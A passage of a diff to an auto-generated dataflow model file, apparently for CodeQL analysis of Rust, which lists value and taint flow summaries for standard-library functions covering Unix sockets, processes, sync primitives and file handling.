"Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_pid", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_uid", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_uid", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::set_gid", "Argument[0]", "Argument[self].Field[0]", "value", "dfc-generated"] + - ["lang:std", "::set_gid", "Argument[0]", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "value", "dfc-generated"] + - ["lang:std", "::set_pid", "Argument[0]", "Argument[self].Field[0]", "value", "dfc-generated"] + - ["lang:std", "::set_pid", "Argument[0]", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "value", "dfc-generated"] + - ["lang:std", "::set_uid", "Argument[0]", "Argument[self].Field[0]", "value", "dfc-generated"] + - ["lang:std", "::set_uid", "Argument[0]", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::os::unix::net::datagram::UnixDatagram(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::incoming", "Argument[self]", "ReturnValue.Field[crate::os::unix::net::listener::Incoming::listener]", "value", "dfc-generated"] + - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::os::unix::net::stream::UnixStream(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::can_unwind", "Argument[self].Field[crate::panic::PanicHookInfo::can_unwind]", "ReturnValue", "value", "dfc-generated"] @@ -286,7 +299,9 @@ extensions: - ["lang:std", "::as_mut_os_str", "Argument[self].Field[crate::path::Path::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_os_str", "Argument[self].Field[crate::path::Path::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::display", "Argument[self].Field[crate::path::Path::inner]", "ReturnValue.Field[crate::path::Display::inner].Field[crate::ffi::os_str::Display::os_str]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::path::PathBuf::inner].Field[crate::ffi::os_str::OsString::inner]", "ReturnValue.Field[crate::path::PathBuf::inner].Field[crate::ffi::os_str::OsString::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::path::PathBuf::inner].Reference", "ReturnValue.Field[crate::path::PathBuf::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::path::PathBuf::inner]", "ReturnValue.Field[crate::path::PathBuf::inner]", "value", "dfc-generated"] - ["lang:std", "::as_ref", "Argument[self].Field[crate::path::PathBuf::inner].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0].Field[crate::path::PathBuf::inner].Field[crate::path::PathBuf::inner]", "ReturnValue.Field[crate::path::PathBuf::inner]", "value", "dfc-generated"] @@ -300,6 +315,8 @@ extensions: - ["lang:std", "::into_os_string", "Argument[self].Field[crate::path::PathBuf::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_os_str", "Argument[self].Field[crate::path::PrefixComponent::raw]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::kind", "Argument[self].Field[crate::path::PrefixComponent::parsed]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::into_pidfd", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::process::Child::handle]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0].Field[0]", "ReturnValue.Field[crate::process::Child::handle]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::process::Child::handle]", "ReturnValue", "value", "dfc-generated"] @@ -315,6 +332,7 @@ extensions: - ["lang:std", "::as_inner", "Argument[self].Field[crate::process::ChildStdout::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::process::ChildStdout::inner]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::process::ChildStdout::inner]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::create_pidfd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::arg0", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::gid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::groups", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -338,9 +356,12 @@ extensions: - ["lang:std", "::as_inner", "Argument[self].Field[crate::process::ExitCode(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::process::ExitCode(0)]", "value", "dfc-generated"] - ["lang:std", "::to_i32", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::signal", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::stopped_signal", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::process::ExitStatus(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::process::ExitStatus(0)]", "value", "dfc-generated"] + - ["lang:std", "::code", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::process::Stdio(0)]", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::barrier::Barrier::num_threads]", "value", "dfc-generated"] - ["lang:std", "::is_leader", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] @@ -356,6 +377,8 @@ extensions: - ["lang:std", "::acquire", "Argument[self].Field[crate::sync::mpmc::counter::Receiver::counter]", "ReturnValue.Field[crate::sync::mpmc::counter::Receiver::counter]", "value", "dfc-generated"] - ["lang:std", "::acquire", "Argument[self].Field[crate::sync::mpmc::counter::Sender::counter]", "ReturnValue.Field[crate::sync::mpmc::counter::Sender::counter]", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0].Field[crate::sync::mpsc::SendError(0)]", "ReturnValue.Field[crate::sync::mpmc::error::SendTimeoutError::Disconnected(0)]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::write", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::hook", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sync::mpmc::select::Selected::Operation(0)].Field[crate::sync::mpmc::select::Operation(0)]", "value", "dfc-generated"] @@ -369,21 +392,28 @@ extensions: - ["lang:std", "::write", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::iter", "Argument[self]", "ReturnValue.Field[crate::sync::mpsc::Iter::rx]", "value", "dfc-generated"] - ["lang:std", "::try_iter", "Argument[self]", "ReturnValue.Field[crate::sync::mpsc::TryIter::rx]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::Sender::inner].Reference", "ReturnValue.Field[crate::sync::mpsc::Sender::inner]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::Sender::inner]", "ReturnValue.Field[crate::sync::mpsc::Sender::inner].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::Sender::inner]", "ReturnValue.Field[crate::sync::mpsc::Sender::inner]", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::SyncSender::inner].Reference", "ReturnValue.Field[crate::sync::mpsc::SyncSender::inner]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::SyncSender::inner]", "ReturnValue.Field[crate::sync::mpsc::SyncSender::inner].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::SyncSender::inner]", "ReturnValue.Field[crate::sync::mpsc::SyncSender::inner]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::from", "Argument[0].Field[crate::sync::mpsc::SendError(0)]", "ReturnValue.Field[crate::sync::mpsc::TrySendError::Disconnected(0)]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::get_mut", "Argument[self].Field[crate::sync::poison::PoisonError::data]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::get_ref", "Argument[self].Field[crate::sync::poison::PoisonError::data]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::poison::PoisonError::data]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sync::poison::TryLockError::Poisoned(0)]", "value", "dfc-generated"] - ["lang:std", "::cause", "Argument[self].Reference.Field[crate::sync::poison::TryLockError::Poisoned(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::wait", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::wait", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:std", "::wait_timeout", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]", "value", "dfc-generated"] @@ -394,28 +424,41 @@ extensions: - ["lang:std", "::wait_while", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:std", "::timed_out", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::timed_out", "Argument[self].Field[crate::sync::poison::condvar::WaitTimeoutResult(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:std", "::get_mut", "Argument[self].Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:std", "::lock", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::poison::mutex::MutexGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:std", "::replace", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] + - ["lang:std", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::poison::mutex::MutexGuard::lock]", "value", "dfc-generated"] + - ["lang:std", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::sync::poison::mutex::MutexGuard::lock]", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - - ["lang:std", "::is_poisoned", "Argument[self].Field[crate::sync::poison::once::OnceState::inner].Field[crate::sys::sync::once::queue::OnceState::poisoned]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::is_poisoned", "Argument[self].Field[crate::sync::poison::once::OnceState::inner].Field[crate::sys::sync::once::futex::OnceState::poisoned]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:std", "::get_mut", "Argument[self].Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:std", "::read", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::replace", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] + - ["lang:std", "::try_read", "Argument[self].Field[crate::sync::poison::rwlock::RwLock::inner]", "ReturnValue.Field[crate::sync::poison::rwlock::RwLockReadGuard::inner_lock].Reference", "value", "dfc-generated"] + - ["lang:std", "::try_write", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock]", "value", "dfc-generated"] + - ["lang:std", "::try_write", "Argument[self]", "ReturnValue.Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::write", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock]", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::downgrade", "Argument[0].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock].Field[crate::sync::poison::rwlock::RwLock::inner]", "ReturnValue.Field[crate::sync::poison::rwlock::RwLockReadGuard::inner_lock].Reference", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::get_mut", "Argument[self].Field[crate::sync::reentrant_lock::ReentrantLock::data]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::reentrant_lock::ReentrantLock::data]", "ReturnValue", "value", "dfc-generated"] @@ -423,6 +466,39 @@ extensions: - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::reentrant_lock::ReentrantLock::data]", "value", "dfc-generated"] - ["lang:std", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::deref", "Argument[self].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock].Field[crate::sync::reentrant_lock::ReentrantLock::data]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::set_mode", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:std", "::ino", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::fs::unix::File(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::as_inner_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::as_inner_mut", "Argument[self].Field[crate::sys::fs::unix::File(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::fs::unix::File(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::fs::unix::FileAttr::stat]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::accessed", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::file_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::modified", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::perm", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::size", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::mode", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::set_accessed", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::FileTimes::accessed].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::set_modified", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::FileTimes::modified].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::append", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::append]", "value", "dfc-generated"] + - ["lang:std", "::create", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::create]", "value", "dfc-generated"] + - ["lang:std", "::create_new", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::create_new]", "value", "dfc-generated"] + - ["lang:std", "::custom_flags", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::custom_flags]", "value", "dfc-generated"] + - ["lang:std", "::mode", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:std", "::read", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::read]", "value", "dfc-generated"] + - ["lang:std", "::truncate", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::truncate]", "value", "dfc-generated"] + - ["lang:std", "::write", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::write]", "value", "dfc-generated"] + - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::properties", "Argument[self].Field[1].Reference", "ReturnValue.Field[crate::sys::pal::unix::kernel_copy::CopyParams(0)].Field[crate::sys::pal::unix::kernel_copy::FdMeta::Metadata(0)]", "value", "dfc-generated"] + - ["lang:std", "::properties", "Argument[self].Field[crate::sys::fs::unix::cfm::CachedFileMetadata(1)].Reference", "ReturnValue.Field[crate::sys::pal::unix::kernel_copy::CopyParams(0)].Field[crate::sys::pal::unix::kernel_copy::FdMeta::Metadata(0)]", "value", "dfc-generated"] + - ["lang:std", "::properties", "Argument[self].Field[1].Reference", "ReturnValue.Field[crate::sys::pal::unix::kernel_copy::CopyParams(0)].Field[crate::sys::pal::unix::kernel_copy::FdMeta::Metadata(0)]", "value", "dfc-generated"] + - ["lang:std", "::properties", "Argument[self].Field[crate::sys::fs::unix::cfm::CachedFileMetadata(1)].Reference", "ReturnValue.Field[crate::sys::pal::unix::kernel_copy::CopyParams(0)].Field[crate::sys::pal::unix::kernel_copy::FdMeta::Metadata(0)]", "value", "dfc-generated"] - ["lang:std", "::port", "Argument[self].Field[crate::sys::net::connection::socket::LookupHost::port]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::sys::net::connection::socket::TcpListener::inner]", "value", "dfc-generated"] - ["lang:std", "::bind", "Argument[0].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] @@ -447,80 +523,31 @@ extensions: - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::net::connection::socket::unix::Socket(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::sys::os_str::bytes::Buf::inner].Reference", "ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::sys::os_str::bytes::Buf::inner]", "ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner]", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::os_str::bytes::Buf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::os_str::bytes::Buf::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from_encoded_bytes_unchecked", "Argument[0]", "ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner]", "value", "dfc-generated"] - ["lang:std", "::into_encoded_bytes", "Argument[self].Field[crate::sys::os_str::bytes::Buf::inner]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::as_encoded_bytes", "Argument[self].Field[crate::sys::os_str::bytes::Slice::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::pal::unix::fd::FileDesc(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::pal::unix::fd::FileDesc(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - - ["lang:std", "::set_mode", "Argument[0]", "Argument[self]", "taint", "df-generated"] - - ["lang:std", "::ino", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::pal::unix::fs::File(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::as_inner_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::as_inner_mut", "Argument[self].Field[crate::sys::pal::unix::fs::File(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::pal::unix::fs::File(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::pal::unix::fs::FileAttr::stat]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::file_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::perm", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::size", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::mode", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::set_accessed", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::accessed].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::set_created", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::created].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::set_modified", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::modified].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::append", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::append]", "value", "dfc-generated"] - - ["lang:std", "::create", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::create]", "value", "dfc-generated"] - - ["lang:std", "::create_new", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::create_new]", "value", "dfc-generated"] - - ["lang:std", "::custom_flags", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::custom_flags]", "value", "dfc-generated"] - - ["lang:std", "::mode", "Argument[0]", "Argument[self]", "taint", "df-generated"] - - ["lang:std", "::read", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::read]", "value", "dfc-generated"] - - ["lang:std", "::truncate", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::truncate]", "value", "dfc-generated"] - - ["lang:std", "::write", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::write]", "value", "dfc-generated"] - - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::pal::unix::linux::pidfd::PidFd(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::pal::unix::linux::pidfd::PidFd(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::pal::unix::pipe::AnonPipe(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_file_desc", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_file_desc", "Argument[self].Field[crate::sys::pal::unix::pipe::AnonPipe(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - - ["lang:std", 